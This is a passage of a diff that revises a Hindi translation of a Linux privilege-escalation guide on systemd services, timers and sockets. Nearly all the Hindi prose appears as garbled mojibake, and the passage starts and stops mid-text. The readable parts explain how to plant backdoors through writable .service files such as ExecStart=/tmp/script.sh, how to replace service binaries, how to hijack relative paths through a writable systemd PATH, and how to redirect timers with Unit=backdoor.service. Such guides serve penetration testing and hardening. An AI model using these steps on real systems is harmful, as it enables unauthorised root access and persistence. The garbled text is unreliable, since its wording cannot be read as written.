рдЖрд░рдВрдн** рдпрд╛ **рд░реЛрдХ** рджреА рдЬрд╛рдП (рд╢рд╛рдпрдж рдЖрдкрдХреЛ рдорд╢реАрди рдХреЗ рд░рд┐рдмреВрдЯ рд╣реЛрдиреЗ рддрдХ рдЗрдВрддрдЬрд╝рд╛рд░ рдХрд░рдирд╛ рдкрдбрд╝ рд╕рдХрддрд╛ рд╣реИ).\ -рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА `.service` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЕрдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рдЗрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рддрд╛рдХрд┐ рдпрд╣ рдЖрдкрдХреЗ **backdoor** рдХреЛ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░реЗ рдЬрдм рд╕реЗрд╡рд╛ **рд╢реБрд░реВ**, **рдкреБрдирд░рд╛рд░рдВрдн** рдпрд╛ **рдмрдВрдж** рд╣реЛ (рд╢рд╛рдпрдж рдЖрдкрдХреЛ рдорд╢реАрди рдХреЗ reboot рд╣реЛрдиреЗ рддрдХ рдЗрдВрддрдЬрд╛рд░ рдХрд░рдирд╛ рдкрдбрд╝реЗ).\ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЕрдкрдиреА backdoor рдХреЛ `.service` рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдЗрд╕ рддрд░рд╣ рдмрдирд╛рдПрдВ: **`ExecStart=/tmp/script.sh`** -### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реАрдЬрд╝ +### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп service рдмрд╛рдЗрдирд░реАрдЬрд╝ -рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реЗрд╡рд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдмрд╛рдЗрдирд░реАрдЬрд╝ рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд╣реИ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ backdoors рдХреЗ рд▓рд┐рдП рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬрдм рд╕реЗрд╡рд╛рдПрдБ рдлрд┐рд░ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдВ рддреЛ backdoors рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдВред +рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ **write permissions over binaries being executed by services** рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ backdoors рдХреЗ рд▓рд┐рдП рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬрдм рд╕реЗрд╡рд╛рдПрдБ рдлрд┐рд░ рд╕реЗ рдЪрд▓реЗрдВ рддреЛ backdoors рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рдЬрд╛рдПрдБред ### systemd PATH - рд╕рд╛рдкреЗрдХреНрд╖ рдкрде -рдЖрдк **systemd** рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП PATH рдХреЛ рдирд┐рдореНрди рд╕реЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк **systemd** рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ PATH рдХреЛ рдирд┐рдореНрди рдХреЗ рд╕рд╛рде рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: ```bash systemctl show-environment ``` -рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдкрде рдХреЗ рдХрд┐рд╕реА рднреА рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ **write** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **escalate privileges** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдкрдХреЛ **relative paths being used on service configurations** рдЬреИрд╕реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЦреЛрдЬ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП: +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк path рдХреЗ рдХрд┐рд╕реА рднреА рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ **write** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **escalate privileges** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдкрдХреЛ **relative paths being used on service configurations** рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -рдлрд┐рд░, рдЙрд╕ systemd PATH рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдПрдХ **executable** рдмрдирд╛рдЗрдП (рдЬрд┐рд╕рдореЗрдВ рдЖрдк рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ) рдЬрд┐рд╕рдХрд╛ рдирд╛рдо **relative path binary** рдХреЗ рд╕рдорд╛рди рд╣реЛ, рдФрд░ рдЬрдм service рд╕реЗ рдХрдордЬреЛрд░ рдХреНрд░рд┐рдпрд╛ (**Start**, **Stop**, **Reload**) рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рдПрдЧрд╛, рдЖрдкрдХрд╛ **backdoor рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛** (unprivileged users рдЖрдорддреМрд░ рдкрд░ services рдХреЛ start/stop рдирд╣реАрдВ рдХрд░ рдкрд╛рддреЗ, рд▓реЗрдХрд┐рди рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк `sudo -l` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред +рдлрд┐рд░, systemd PATH рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдЬрд┐рд╕ рдкрд░ рдЖрдк рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрд╕реА **relative path binary** рдХреЗ рдирд╛рдо рдХрд╛ рдПрдХ **рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп** рдмрдирд╛рдПрдВ, рдФрд░ рдЬрдм рд╕реЗрд╡рд╛ рд╕реЗ рдХрдордЬреЛрд░ рдХреНрд░рд┐рдпрд╛ (**Start**, **Stop**, **Reload**) рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдЖрдкрдХрд╛ **backdoor** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рдЬрд╛рдПрдЧрд╛ (unprivileged users рдЖрдо рддреМрд░ рдкрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ start/stop рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд▓реЗрдХрд┐рди рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк `sudo -l` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред -**services рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП `man systemd.service` рдкрдврд╝реЗрдВред** +**Learn more about services with `man systemd.service`.** ## **Timers** -**Timers** systemd unit рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ рдЬрд┐рдирдХреЗ рдирд╛рдо рдХрд╛ рдЕрдВрдд `**.timer**` рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЬреЛ `**.service**` рдлрд╛рдЗрд▓реЛрдВ рдпрд╛ рдШрдЯрдирд╛рдУрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреА рд╣реИрдВред **Timers** рдХреЛ cron рдХреЗ рд╡рд┐рдХрд▓реНрдк рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдирдореЗрдВ calendar time events рдФрд░ monotonic time events рдХреЗ рд▓рд┐рдП рдмрд┐рд▓реНрдЯ-рдЗрди рд╕рдорд░реНрдерди рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрдиреНрд╣реЗрдВ asynchronously рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +**Timers** рд╡реЗ systemd unit рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ рдЬрд┐рдирдХреЗ рдирд╛рдо рдХрд╛ рдЕрдВрдд `**.timer**` рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЬреЛ `**.service**` рдлрд╛рдЗрд▓реЛрдВ рдпрд╛ рдШрдЯрдирд╛рдУрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреА рд╣реИрдВред **Timers** рдХреЛ cron рдХреЗ рдПрдХ рд╡рд┐рдХрд▓реНрдк рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдирдореЗрдВ рдХреИрд▓реЗрдВрдбрд░-рдЖрдзрд╛рд░рд┐рдд рд╕рдордп рдШрдЯрдирд╛рдУрдВ рдФрд░ monotonic time events рдХреЗ рд▓рд┐рдП рдмрд┐рд▓реНрдЯ-рдЗрди рд╕рдорд░реНрдерди рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрдиреНрд╣реЗрдВ asynchronously рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЖрдк рд╕рднреА timers рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash @@ -483,54 +469,52 @@ systemctl list-timers --all ``` ### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдЯрд╛рдЗрдорд░ -рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдЯрд╛рдЗрдорд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕реЗ systemd.unit рдХреА рдХреБрдЫ рдореМрдЬреВрджрд╛ рдЗрдХрд╛рдЗрдпреЛрдВ (рдЬреИрд╕реЗ `.service` рдпрд╛ `.target`) рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдЯрд╛рдЗрдорд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ systemd.unit рдХреА рдХреБрдЫ рдореМрдЬреВрджрд╛ рдпреВрдирд┐рдЯреНрд╕ (рдЬреИрд╕реЗ `.service` рдпрд╛ `.target`) рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред ```bash Unit=backdoor.service ``` -In the documentation you can read what the Unit is: +> рдЯрд╛рдЗрдорд░ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдкрд░ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпреВрдирд┐рдЯред рдЖрд░реНрдЧреНрдпреВрдореЗрдВрдЯ рдПрдХ рдпреВрдирд┐рдЯ рдирд╛рдо рд╣реИ, рдЬрд┐рд╕рдХрд╛ suffix ".timer" рдирд╣реАрдВ рд╣реИред рдпрджрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рдорд╛рди рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЙрд╕ service рдкрд░ рд╕реЗрдЯ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо timer рдпреВрдирд┐рдЯ рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИ, рдХреЗрд╡рд▓ suffix рдЕрд▓рдЧ рд╣реЛрддрд╛ рд╣реИред (рдКрдкрд░ рджреЗрдЦреЗрдВред) рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рд╕рдХреНрд░рд┐рдп рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдпреВрдирд┐рдЯ рдХрд╛ рдирд╛рдо рдФрд░ timer рдпреВрдирд┐рдЯ рдХрд╛ рдирд╛рдо рдХреЗрд╡рд▓ suffix рдХреЛ рдЫреЛрдбрд╝рдХрд░ рдПрдХ рд╕рдорд╛рди рд╣реЛрдВред -> рдЙрд╕ Unit рдХреЛ activate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдм рдпрд╣ timer рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЖрд░реНрдЧреБрдореЗрдВрдЯ рдПрдХ unit name рд╣реИ, рдЬрд┐рд╕рдХрд╛ suffix ".timer" рдирд╣реАрдВ рд╣реЛрддрд╛ред рдпрджрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ value рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЙрд╕реА рдирд╛рдо рд╡рд╛рд▓реА service рдмрди рдЬрд╛рддреА рд╣реИ рдЬреЛ timer unit рдХреЗ рдирд╛рдо рдХреЗ рд╕рдорд╛рди рд╣реЛрддреА рд╣реИ, рд╕рд┐рд╡рд╛рдп suffix рдХреЗред (рдКрдкрд░ рджреЗрдЦреЗрдВред) рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рдЬрд┐рд╕ unit рдХрд╛ рдирд╛рдо activate рд╣реЛрддрд╛ рд╣реИ рдФрд░ timer unit рдХрд╛ рдирд╛рдо рдПрдХ рд╕рдорд╛рди рд╣реЛрдВ, рд╕рд┐рд╡рд╛рдп suffix рдХреЗред +рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА: -Therefore, to abuse this permission you would need to: +- рдХрд┐рд╕реА systemd рдпреВрдирд┐рдЯ рдХреЛ рдвреВрдВрдвреЗрдВ (рдЬреИрд╕реЗ `.service`) рдЬреЛ **рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдмрд╛рдЗрдирд░реА рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реЛ** +- рдХреЛрдИ systemd рдпреВрдирд┐рдЯ рдвреВрдВрдвреЗрдВ рдЬреЛ **рдПрдХ relative path рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реЛ** рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ **systemd PATH** рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреА privileges** рд╣реЛрдВ (рддрд╛рдХрд┐ рдЙрд╕ executable рдХрд╛ impersonate рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ) -- Find some systemd unit (like a `.service`) that is **executing a writable binary** -- Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**рдЯрд╛рдЗрдорд░реНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП `man systemd.timer` рджреЗрдЦреЗрдВред** -**Learn more about timers with `man systemd.timer`.** +### **рдЯрд╛рдЗрдорд░ рд╕рдХреНрд╖рдо рдХрд░рдирд╛** -### **Timer рд╕рдХреНрд╖рдо рдХрд░рдирд╛** - -To enable a timer you need root privileges and to execute: +рдЯрд╛рдЗрдорд░ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ root privileges рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛ execute рдХрд░рдирд╛ рд╣реЛрдЧрд╛: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer тЖТ /lib/systemd/system/backu2.timer. ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **timer** рдХреЛ `/etc/systemd/system/.wants/.timer` рдкрд░ рдЙрд╕рдХреЗ рд▓рд┐рдП symlink рдмрдирд╛рдХрд░ **рд╕рдХреНрд░рд┐рдп** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) client-server рдореЙрдбрд▓ рдХреЗ рднреАрддрд░ рдПрдХ рд╣реА рдпрд╛ рдЕрд▓рдЧ рдорд╢реАрдиреЛрдВ рдкрд░ **process communication** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рдпреЗ рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдорд╛рдирдХ Unix descriptor рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ `.socket` рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЗрдЯрдЕрдк рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред +Unix Domain Sockets (UDS) рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░ рдореЙрдбрд▓ рдореЗрдВ рдПрдХ рд╣реА рдпрд╛ рдЕрд▓рдЧ рдорд╢реАрдиреЛрдВ рдкрд░ рдкреНрд░реЛрд╕реЗрд╕ рдХрдореНрдпреБрдирд┐рдХреЗрд╢рди рд╕рдХреНрд╖рдо рдХрд░рддреЗ рд╣реИрдВред рд╡реЗ рдЗрдВрдЯрд░-рдХрдВрдкреНрдпреВрдЯрд░ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рд╕реНрдЯреИрдгреНрдбрд░реНрдб Unix descriptor рдлрд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ `.socket` files рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЗрдЯрдЕрдк рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред -Sockets рдХреЛ `.socket` рдлрд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +Sockets рдХреЛ `.socket` files рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -**sockets рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВ `man systemd.socket` рдХреЗ рд╕рд╛рдеред** рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдХрдИ рд░реЛрдЪрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ: +**Learn more about sockets with `man systemd.socket`.** рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдХрдИ рд░реЛрдЪрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: рдпреЗ рд╡рд┐рдХрд▓реНрдк рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣реИрдВ рд▓реЗрдХрд┐рди рд╕рд╛рд░рд╛рдВрд╢ **рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдХрд╣рд╛рдБ рд╕реБрдирдиреЗ рд╡рд╛рд▓рд╛ рд╣реИ** (AF_UNIX socket рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде, рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП IPv4/6 рдФрд░/рдпрд╛ рдкреЛрд░реНрдЯ рдирдВрдмрд░, рдЖрджрд┐) -- `Accept`: рдПрдХ boolean рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИред рдпрджрд┐ **true**, рддреЛ рдкреНрд░рддреНрдпреЗрдХ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ **service instance** spawn рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреЗрд╡рд▓ рдХрдиреЗрдХреНрд╢рди socket рдЗрд╕реЗ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ **false**, рддреЛ рд╕рднреА listening sockets рд╕реНрд╡рдпрдВ рд╕реНрдЯрд╛рд░реНрдЯ рдХреА рдЧрдИ service unit рдХреЛ рдкрд╛рд╕ рдХрд┐рдпреЗ рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ service unit spawn рд╣реЛрддреА рд╣реИред рдпрд╣ рдорд╛рди datagram sockets рдФрд░ FIFOs рдХреЗ рд▓рд┐рдП рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ single service unit рдмрд┐рдирд╛ рд╢рд░реНрдд рд╕рднреА рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ false рд╣реИред** рдкреНрд░рджрд░реНрд╢рди рдХрд╛рд░рдгреЛрдВ рд╕реЗ, рдирдП daemons рдХреЗрд╡рд▓ рдЙрд╕ рддрд░рд╣ рд▓рд┐рдЦрд╛ рдЬрд╛рдирд╛ рд╕реБрдЭрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ `Accept=no` рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реЛред -- `ExecStartPre`, `ExecStartPost`: рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ command lines рд▓реЗрддреЗ рд╣реИрдВ, рдЬреЛ listening **sockets**/FIFOs рдХреЗ рдмрдиреЗ рдФрд░ bind рдХрд┐рдП рдЬрд╛рдиреЗ рд╕реЗ рдХреНрд░рдорд╢рдГ **рдкрд╣рд▓реЗ** рдпрд╛ **рдмрд╛рдж** execute рд╣реЛрддреЗ рд╣реИрдВред рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдХрд╛ рдкрд╣рд▓рд╛ token рдПрдХ absolute filename рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдлрд┐рд░ process рдХреЗ рд▓рд┐рдП arguments рдЖрддреЗ рд╣реИрдВред -- `ExecStopPre`, `ExecStopPost`: рдЕрддрд┐рд░рд┐рдХреНрдд **commands** рдЬреЛ listening **sockets**/FIFOs рдХреЗ рдмрдВрдж рдФрд░ рд╣рдЯрд╛рдП рдЬрд╛рдиреЗ рд╕реЗ рдХреНрд░рдорд╢рдГ **рдкрд╣рд▓реЗ** рдпрд╛ **рдмрд╛рдж** execute рдХрд┐рдпреЗ рдЬрд╛рддреЗ рд╣реИрдВред -- `Service`: incoming traffic рдкрд░ activate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП service unit рдХрд╛ рдирд╛рдо specify рдХрд░рддрд╛ рд╣реИред рдпрд╣ setting рдХреЗрд╡рд▓ Accept=no рд╡рд╛рд▓реЗ sockets рдХреЗ рд▓рд┐рдП allowed рд╣реИред рдпрд╣ default рдЙрд╕ service рдХрд╛ рдирд╛рдо рд╣реЛрддрд╛ рд╣реИ рдЬреЛ socket рдЬреИрд╕рд╛ рдирд╛рдо рд░рдЦрддрд╛ рд╣реИ (suffix рдмрджрд▓рдХрд░)ред рдЬрд╝реНрдпрд╛рджрд╛рддрд░ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЗрд╕ option рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: рдпреЗ рд╡рд┐рдХрд▓реНрдк рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣реИрдВ, рдкрд░ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдЗрдиреНрд╣реЗрдВ socket рдХреЛ рдХрд╣рд╛рдБ рд╕реБрдирдирд╛ рд╣реИ рдмрддрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (AF_UNIX socket рдлрд╝рд╛рдЗрд▓ рдХрд╛ path, рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП IPv4/6 рдФрд░/рдпрд╛ port рдирдВрдмрд░, рдЖрджрд┐)ред +- `Accept`: boolean argument рд▓реЗрддрд╛ рд╣реИред рдЕрдЧрд░ **true** рд╣реИ, рддреЛ **рдкреНрд░рддреНрдпреЗрдХ рдЗрдирдХрдорд┐рдВрдЧ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ service instance spawn** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреЗрд╡рд▓ рдХрдиреЗрдХреНрд╢рди socket рдЙрд╕реЗ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдЧрд░ **false** рд╣реИ, рддреЛ рд╕рднреА listening sockets рд╕реНрд╡рдпрдВ **started service unit рдХреЛ рдкрд╛рд╕** рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ 